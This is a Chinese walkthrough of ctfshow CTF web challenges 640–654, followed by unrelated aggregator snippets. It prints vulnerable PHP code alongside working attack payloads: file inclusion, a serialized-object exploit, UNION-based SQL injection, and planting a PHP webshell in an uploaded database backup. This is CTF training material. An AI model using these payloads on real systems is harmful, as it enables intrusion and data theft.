ctfshow终极考核wp

2023-11-06

web640

打开页面就能看到flag

ctfshow{060ae7a27d203604baeb125f939570ef}

web641

抓取首页的包,看到有一个Flag字段

ctfshow{affac61c787a82cc396585bea8ecf2dc}

web642

在上面包里的源码看到css路径不寻常/system36d/static/css/start.css,在url后添加/system36d,抓包得到flag。

ctfshow{11a17b6fbdc69cedfb374f55026700fe}

web643

出现一个登录界面,f12查看源码,看看能不能找到密码,找到加密的js代码tatic/js/lock/index.js,在里面发现web644的flag请添加图片描述
那么密码就是0x36D,最后出现了web644的flag

ctfshow{616cd5fc37968fc20810b2db30152717}

web644

ctfshow{2bb9f2183f102f6f2aedbea4788f9f1d}

web645

找到执行命令的页面,抓包
请添加图片描述
测试发现能用ls,看到下面的这些文件

请添加图片描述
可能过滤了n多个符号,没法用空格,试试页面上直接访问secret.txt,得到一串十六进制数,转成ascii码得到web643的flag
有一个数据备份功能,把文件下载后得到flag

ctfshow{28b00f799c2e059bafaa1d6bda138d89}

web646

可以看到远程更新那里要输入web645的flag,输入后抓包,看到有一个update_address参数,试一试文件包含

?action=remoteUpdate&auth=ctfshow%7B28b00f799c2e059bafaa1d6bda138d89%7D&update_address=/var/www/html/system36d/init.php

得到flag

ctfshow{5526710eb3ed7b4742232d6d6f9ee3a9}

web647

查看users.php

evilString($m)
{
	$key = '372619038';
	$content = call_user_func($m);
	if(stripos($content, $key)!==FALSE)
	{
		echo shell_exec('cat \/FLAG\/FLAG647');
	}
	else
	{
		echo 'you are not 372619038?';
	}
}

checklogin.php

<?php
$s=$_GET['s'];
setcookie('uid',intval($s));
$_SESSION['user_id']=intval($s);
header('location:main.php');

647的flag的cookie值是372619038,先访问

/system36d/checklogin.php?s=372619038

再访问

/system36d/users.php?action=evilString&m=session_encode

得到flag

ctfshow{e6ad8304cdb562971999b476d8922219}

web648

我整理了下完整的代码

<?php
error_reporting(0);
session_start();
include 'init.php';
$a=$_GET['action'];
$data = file_get_contents(DB_PATH);
$ret = '';
switch ($a) {
	case 'evilClass':
		evilClass($_GET['m'],$_GET['key']);
		break;
}

function evilClass($m,$k){
    class ctfshow
    {
        public $m;

        public function construct($m)
        {
            $this->$m = $m;
        }
    }

    $ctfshow = new ctfshow($m);
    $ctfshow->$m = $m;
    if ($ctfshow->$m == $m && $k == shell_exec('cat /FLAG/FLAG647')) {
        echo shell_exec('cat /FLAG/FLAG648');
    } else {
        echo 'mmmmm?';
    }
}

唯一要注意的是shell_exec('cat /FLAG/FLAG647')的结果是flag_647=ctfshow{e6ad8304cdb562971999b476d8922219},而不是单独的一个flag

/system36d/users.php?action=evilClass&key=flag_647=ctfshow{e6ad8304cdb562971999b476d8922219}&m=m

得到flag

ctfshow{af5b5e411813eafd8dc2311df30b394e}

web649

先看代码

<?php
error_reporting(0);
session_start();
include 'init.php';
$a=$_GET['action'];
$data = file_get_contents(DB_PATH);
$ret = '';
switch ($a) {
	case 'evilNumber':
		evilNumber($_GET['m'],$_GET['key']);
		break;
}

function evilNumber($m, $k)
{
    $number = getArray(1000, 20, 10, 999);
    if ($number[$m] == $m && $k == shell_exec('cat /FLAG/FLAG648')) {
        echo shell_exec('cat /FLAG/FLAG649');
    } else {
        echo 'number is right?';
    }
}

function getArray($total, $times, $min, $max)
{
	$data = array();
	if ($min * $times > $total)
	{
		return array();
	}
	if ($max * $times < $total) 
	{
		return array();
	}
	while ($times >= 1) 
	{
		$times--;
		$kmix = max($min, $total - $times * $max);
		$kmax = min($max, $total - $times * $min);
		$kAvg = $total / ($times + 1);
		$kDis = min($kAvg - $kmix, $kmax - $kAvg);
		$r = ((float)(rand(1, 10000) / 10000) - 0.5) * $kDis * 2;
		$k = round($kAvg + $r);
		$total -= $k;
		$data[] = $k;
	}
	return $data;
}

getArray()函数用于生成随机数,直接不传值就行

/system36d/users.php?action=evilNumber&key=flag_648=ctfshow{af5b5e411813eafd8dc2311df30b394e}

web650

<?php
error_reporting(0);
session_start();
include 'init.php';
$a=$_GET['action'];
$data = file_get_contents(DB_PATH);
$ret = '';
switch ($a) {
	case 'evilFunction':
		evilFunction($_GET['m'],$_GET['key']);
		break;
}

function evilFunction($m, $k)
{
    $key = 'ffffffff';
    $content = call_user_func($m);
    if (stripos($content, $key) !== FALSE && $k == shell_exec('cat \/FLAG\/FLAG649')) {
        echo shell_exec('cat /FLAG/FLAG650');
    } else {
        echo 'you are not ffffffff?';
    }
}

要让$content的函数值中有$key的内容,可以把cookie中的SESSIONID改成ffffffff即可

/system36d/users.php?action=evilFunction&key=flag_649=ctfshow{9ad80fcc305b58afbb3a0c2097ac40ef}&m=session_id

flag

ctfshow{5eae22d9973a16a0d37c9854504b3029}

web651

<?php
error_reporting(0);
session_start();
include 'init.php';
$a=$_GET['action'];
$data = file_get_contents(DB_PATH);
$ret = '';
switch ($a) {
	case 'evilArray':
		evilArray($_GET['m'],$_GET['key']);
		break;
}

function evilArray($m, $k)
{
    $arrays = unserialize($m);
    if ($arrays !== false) {
        if (array_key_exists('username', $arrays) && in_array('ctfshow', get_object_vars($arrays)) && $k == shell_exec('cat /FLAG/FLAG650')) {
            echo shell_exec('cat /FLAG/FLAG651');
        } else {
            echo 'array?';
        }
    }
}

这里的要求是数组中的键是username,值是ctfshow,构造一下

<?php
class web651{
    public $username='ctfshow';
}

echo urlencode(serialize(new web651()));

传值即可得到flag

/system36d/users.php?action=evilArray&key=flag_650=ctfshow{5eae22d9973a16a0d37c9854504b3029}&m=O%3A6%3A%22web651%22%3A1%3A%7Bs%3A8%3A%22username%22%3Bs%3A7%3A%22ctfshow%22%3B%7D
ctfshow{a4c64b86d754b3b132a138e3e0adcaa6}

web652

查看page.php和util/dbutil.php的代码,发现有sql操作

page.php

<?php
error_reporting(0);
include __DIR__.DIRECTORY_SEPARATOR.'system36d/util/dbutil.php';
$id = isset($_GET['id'])?$_GET['id']:'1';
$id = addslashes($id);
$name = db::get_username($id);
?>

util/dbutil.php

<?php
class db{
	private static $host='localhost';
	private static $username='root';
	private static $password='root';
	private static $database='ctfshow';
	private static $conn;
	public static function get_key(){
		$ret = '';
		$conn = self::get_conn();
		$res = $conn->query('select `key` from ctfshow_keys');
		if($res){
			$row = $res->fetch_array(MYSQLI_ASSOC);
		}
		$ret = $row['key'];
		self::close();
		return $ret;
	}
	public static function get_username($id){
		$ret = '';
		$conn = self::get_conn();
		$res = $conn->query("select `username` from ctfshow_users where id = ($id)");
			if($res){
				$row = $res->fetch_array(MYSQLI_ASSOC);
			}
				$ret = $row['username'];
				self::close();
				return $ret;
	}
	private static function get_conn(){
		if(self::$conn==null){
			self::$conn = new mysqli(self::$host, self::$username, self::$password, self::$database);       
		}
		return self::$conn;
	}
	private static function close(){
		if(self::$conn!==null){
			self::$conn->close();
		}
	}
}

这里使用了addslashes()函数来防注入,但是url编码就可以绕过。发现回显点在标题上

/page.php?id=1000)%20union%20select%20database()%23

库名是ctfshow
information_schema应该是被过滤了,所以换mysql.innodb_table_stats获取表名

/page.php?id=1000) union select group_concat(table_name) from mysql.innodb_table_stats where database_name = database()%23

表名有ctfshow_keys,ctfshow_secret,ctfshow_users

/page.php?id=1000) union select * from ctfshow_secret%23

得到flag,并查出key值为key_is_here_you_know

ctfshow{4b37ab4b6504d43ea0de9a688f0e3ffa}

web653

查看common.php的代码

<?php
include 'dbutil.php';
if($_GET['k']!==shell_exec('cat \/FLAG\/FLAG651')){\n    
	die('651flag\u672a\u62ff\u5230');
}
if(isset($_POST['file']) && file_exists($_POST['file'])){
	if(db::get_key()==$_POST['key']){
		include __DIR__.DIRECTORY_SEPARATOR.$_POST['file'];
	}
}

有文件包含可以利用,想到前面有一个备份的下载和上传功能,也知道了db文件的位置请添加图片描述
先下载备份文件,在里面添加一句话木马后通过数据还原上传,然后包含

GET:
http://42bca333-4e6a-47dd-aac9-ac355892c78e.challenge.ctf.show/system36d/util/common.php?k=flag_651=ctfshow{a4c64b86d754b3b132a138e3e0adcaa6}

POST:
key=key_is_here_you_know&file=../db/data_you_never_know.db&a=phpinfo();

蚁剑连接后在根目录找到flag

ctfshow{5526710eb3ed7b4742232d6d6f9ee3a9}

web654

UDF提权

本文内容由网友自发贡献,版权归原作者所有,本站不承担相应法律责任。如您发现有涉嫌抄袭侵权的内容,请联系:hwhale#tublm.com(使用前将#替换为@)

ctfshow终极考核wp 的相关文章

  • 如果文件名减去扩展名,.htaccess url 重写行为将被覆盖。与网址相同

    我正在尝试整理 URL 并从中删除 php 扩展名等 我位于网站的基本文件夹中 因此没有可以优先处理的父 htaccess 文件或其他文件 这是我的 htaccess 代码 RewriteEngine On RewriteRule give
  • 如何根据另一个下拉列表中的选择动态填充下拉列表中的选项?

    我有一个表 其中包含类别信息 例如产品 我已将它们列在下拉菜单中 现在 我需要做的是 在下一个下拉菜单中列出所选类别的子类别 我希望 javascript 是必需的 但我对 javascript 还不太熟悉 将非常感谢您的帮助 你应该使用
  • 如何检查号码是否是巴基斯坦用户的手机号码而不是固定电话号码

    我所做的是从开头删除 92 或 0092 并使用以下代码检查它是否是巴基斯坦人的有效手机号码 if preg match 3 0 4 0 9 number 1 Pakistani mobile number else not a pakis
  • __callStatic():从静态上下文实例化对象?

    我对 PHP 中的 静态 和 动态 函数和对象如何协同工作感到困惑 特别是在 callStatic 方面 callStatic 的工作原理 您可以有一个普通的班级 MyClass 在班级内您可以 放置一个名为 callStatic 的静态函
  • Laravel - 停止并发访问记录

    在 Laravel 中 有什么方法可以停止同时与同一条记录交互 例如 如果用户 A 正在编辑一条记录 那么我同时需要阻止用户 B 编辑同一条记录 注意 我在 Laravel 5 2 中使用 SESSION DRIVER file 目前大约有
  • 为什么AES java解密返回额外的字符?

    请原谅我英语不好 我使用 mcrypt 我从这里得到它用于 php 和 java 的 MCrypt https snipt net raw ee573b6957b7416f28aa560ead71c3a2 nice 在我的android应用
  • 在 PHP 中将 CSV 写入不带括号的文件

    是否有本机函数或实体类 库用于将数组写入 CSV 文件中的一行而无需封装 fputcsv将默认为 如果没有为封装参数传入任何内容 谷歌让我失望了 返回一大堆有关的页面的结果 fputcsv PEAR 的库做的事情或多或少与fputcsv 工
  • 覆盖供应商自动加载编辑器

    有没有办法让您创建的自动加载文件在调用供应商自动加载之前运行 我们似乎遇到了 SimpleSAML 的自动加载覆盖我们创建的自动加载文件之一的问题 我是 Composer 的新手 似乎无法在网上找到任何解决方案 我尝试将我们的自动加载文件包
  • session_regenerate_id 没有创建新的会话 id

    我有一个脚本 旨在完成当前会话并开始新的会话 我使用了一段代码 它在我的开发计算机上运行良好 但是 当我将其发布到生产服务器时 会话 ID 始终保持不变 以下是我重新启动会话的代码 session start SESSION array P
  • 具有动态表单名称的 form_widget

    在我的 Twig 模板中 我有一个 FOR 循环 它创建多个表单 如下所示 for thing in things set form id myform thing Id set form name attribute form myfor
  • 运行 Composer 返回:“无法打开输入文件:composer.phar”

    我是 symfony2 和阅读新手symblog http tutorial symblog co uk tutorial parts 在第三章中 在尝试使用数据装置时 我尝试了以下命令 php composer phar update 但
  • 使用 php 更改白天和黑夜的背景?

    我正在制作一个 tumblr 页面 我的 html 页面有两种不同的背景 我希望白天背景从早上 7 点到晚上 8 点显示 夜间背景从晚上 8 点到早上 7 点显示 我决定用 php 来做这件事 但对于 php 来说我是个新手 我的朋友给我发
  • 如何从导出的 csv 文件中删除双引号

    我正在使用 Laravel 5 8 并且添加了 Maatwebsite 包 用于从数据库表导出 CSV 文件 这是我导出的类 class ConfirmedExport implements FromCollection WithHeadi
  • php 中的简单授权/登录功能

    我希望第一次实现用户登录到我的网站 我很高兴构建自己的解决方案 或者实现一些开源的东西 但是到目前为止 在我的搜索中没有任何包是明显的选择 同样 我完全意识到 作为一名中级 php 程序员 如果我推出自己的解决方案 并真正敞开大门 我很可能
  • 如何以编程方式获取 WooCommerce 中的所有产品?

    我想获取 WooCommerce 中的所有产品数据 产品 sku 名称 价格 库存数量 可用性等 我可以使用 wp query 来做到这一点吗 这样你就可以通过 wp query 获取所有产品 global wpdb all product
  • 未捕获的异常“Google_IO_Exception”,消息为“HTTP 错误:无法连接”

    我有一个任务 查询 运行一些从 gmail 邮箱检索数据的 php 代码 直到上周五 2015 年 4 月 10 日 它一直工作正常 现在我收到以下错误日志 E 11 58 26 094 2015 04 15 200 3 38 KB 14
  • 在 Woocommerce 购物车中设置最小小计金额

    我正在尝试将最低订单金额设置为 25 美元 到目前为止 我找到了这段代码 如果未达到最低限度 它似乎可以阻止结账 但它使用的小计包含税费 我需要在总计中排除税费 add action woocommerce checkout process
  • Azure 上的“phpcomposer.phar install”出现“无法终止进程”错误

    我正在尝试将我的 Symfony 2 应用程序部署到 Microsoft Azure 网站云 为此 我按照本指南中的步骤操作http symfony com doc current cookbook deployment azure web
  • postgreSQL 在 WAMP 上的集成

    我刚刚在 Windows 7 上安装了 postgreSQL 我正在尝试将 postgreSQL 与 WAMP 服务器集成 为此 我在 httpd conf 和 php ini 文件中进行了以下更改 1个加载模块c path to libp
  • 如何在php中使用preg添加html属性

    我正在寻找在 php 中编写一个脚本来扫描 html 文档并根据它找到的内容向元素添加新标记 更具体地说 我是扫描文档并为每个元素搜索CSS标记 float right left 如果找到它 它会添加align right left 基于它

随机推荐

  • Point-GNN README批注

    Point GNN README批注 Point GNN 1 Getting Started 1 1 Prerequisites 1 2 KITTI Dataset 1 3 Download Point GNN 2 Inference 2
  • 腾讯开源了一款 Markdown 编辑器,易扩展、功能全,很好用!

    介绍 Cherry Markdown Editor 是一款 Javascript Markdown 编辑器 具有开箱即用 轻量简洁 易于扩展等特点 它可以运行在浏览器或服务端 NodeJs 开箱即用 开发者可以使用非常简单的方式调用并实例化
  • 【实用数学手册(第2版)扫描版.pdf】和【免安装Matlab.7.0.绿色破解U盘便携移...】 百度网盘下载地址

    实用数学手册 第2版 扫描版 pdf http pan baidu com s 1ntLVAf3 免安装Matlab 7 0 绿色破解U盘便携移动版 MATLABr2007b portable exe http pan baidu com
  • element时间抽el-timeline触发点击事件的方法

    直接在element的时间轴组件el timeline item上挂在点击事件是不生效的 只有点击在连接线的位置才能触发 这是因为在点击过程中 可能点击到的是el timeline item的子元素 比如el timeline item t
  • Day 1 - 基本语法

    Day 1 1 基本语法 一 语句 1条有效程序 print 你好 print 世界 一行有多条语句 要用分号隔开 print 你好 print 世界 二 注释 注释是代码中不参与编译执行的说明性文字 不影响程序功能 单行注释 Ctrl p
  • Redis最佳实践:7个维度+43条使用规范,带你彻底玩转Redis

    微信搜索关注 水滴与银弹 公众号 第一时间获取优质技术干货 7年资深后端研发 给你呈现不一样的技术视角 大家好 我是 Kaito 这篇文章我想和你聊一聊 Redis 的最佳实践 你的项目或许已经使用 Redis 很长时间了 但在使用过程中
  • ‘redis‐server.exe‘ 不是内部或外部命令,也不是可运行的程序或批处理文件。

    1 管理员身份 2 cmd进入redis安装目录 3 执行命令 redis server exe redis windows conf 我缺少了第二步
  • 设计模式的口诀

    创建 结构 行为 1 抽工单建原 2 桥代理组装适配器的享元外观 3 访问者的策略备忘录 观察模板的迭代状态 命令中介者解释责任链
  • 最大子列和问题(四种方法 !!!终极版本)

    题目 给定K个整数组成的序列 N1 N 2 N K 连续子列 被定义为 Ni N i 1 Nj 其中 1 i j K 最大子列和 则被定义为所有连续子列元素的和中最大者 例如给定序列 2 11 4 13 5 2 其连续子列 11 4 13
  • Unity 优化1

    我认为unity的优化可以从三方面入手 分别是资源优化 性能优化和内存优化 由于每一方面的优化内容都比较多 我在这里主要分析一下性能优化 系统性能的好与差主要是通过系统的相应时间来衡量的 如果系统的响应时间超过500毫秒 用户就会感觉到明显
  • ASAP标注软件安装教程Ubuntu20.04

    以下转载自Github 需要针对ubuntu20 04 python3 8进行修改 DeepLearningCamelyon ASAP installation Ubuntu 16 04 at master 3dimaging DeepLe
  • 神武跑环遇到服务器维护,神武跑环不再痛苦:任务链重点难点详解攻略

    神武跑环不再痛苦 任务链重点难点详解攻略 大家快来看看吧 神武跑环不再痛苦 任务链重点难点详解攻略 相关新闻 任务链攻略 任务内容包括 找人 找到NPC对话即可 无时限 击败NPC 击败指定NPC即可 40分钟 难度较高 寻找物品交予NPC
  • kali功能介绍及安装(超详细)

    kali功能介绍及安装 超详细 一 kali简介 1 描述 Kali Linux是一个操作系统 2013 03 13诞生 基于Debian Linux的发行版 基于包含了约600个安全工具 省去了繁琐的安装 编译 配置 更新步骤 为所有工具
  • Python字符串中的特殊字符

    f 字符串 格式化字符串 在字符串前面加上 f 可以创建一个格式化字符串 在其中可以使用花括号 来插入变量或表达式的值 这种字符串会在运行时进行格式化处理 例如 name Alice age 25 print f My name is na
  • js实现图片懒加载原理

    有时候一个网页会包含很多的图片 例如淘宝京东这些购物网站 商品图片多只之又多 页面图片多 加载的图片就多 服务器压力就会很大 不仅影响渲染速度还会浪费带宽 比如一个1M大小的图片 并发情况下 达到1000并发 即同时有1000个人访问 就会
  • 学习记录Linux搭建nginx

    安装编译工具及库文件 yum y install make zlib zlib devel gcc c libtool openssl openssl devel 首先要安装 PCRE 下载 PCRE 安装包 下载地址 http downl
  • Pycharm常用快捷键大全

    版权声明 本文为博主原创文章 遵循 CC 4 0 BY SA 版权协议 转载请附上原文出处链接和本声明 本文链接 https blog csdn net momoda118 article details 120155611 工欲善其事必先
  • 如何将任意大小的图片填充成一个方形

    这种方式我认为是最适合的图片预处理方式 随意resize会改变图片的特征 而进行填充的方式除了会改变原来标签的坐标以外 可以完全保留图片上所有的物体最原始的特征 def pad to square img pad value c h w i
  • 用Gerrit commit时报错missing Change-Id in message footer

    本人在第一次使用Gerrit时提交代码一直报change Id找不到 在git log的时候显示如下 查询其他文档发现是commit msg文件不存在导致的 现给出解决方案 提示错误 错误信息如下 remote Resolving delt
  • ctfshow终极考核wp

    文章目录 web640 web641 web642 web643 web644 web645 web646 web647 web648 web649 web650 web651 web652 web653 web654 web640 打开页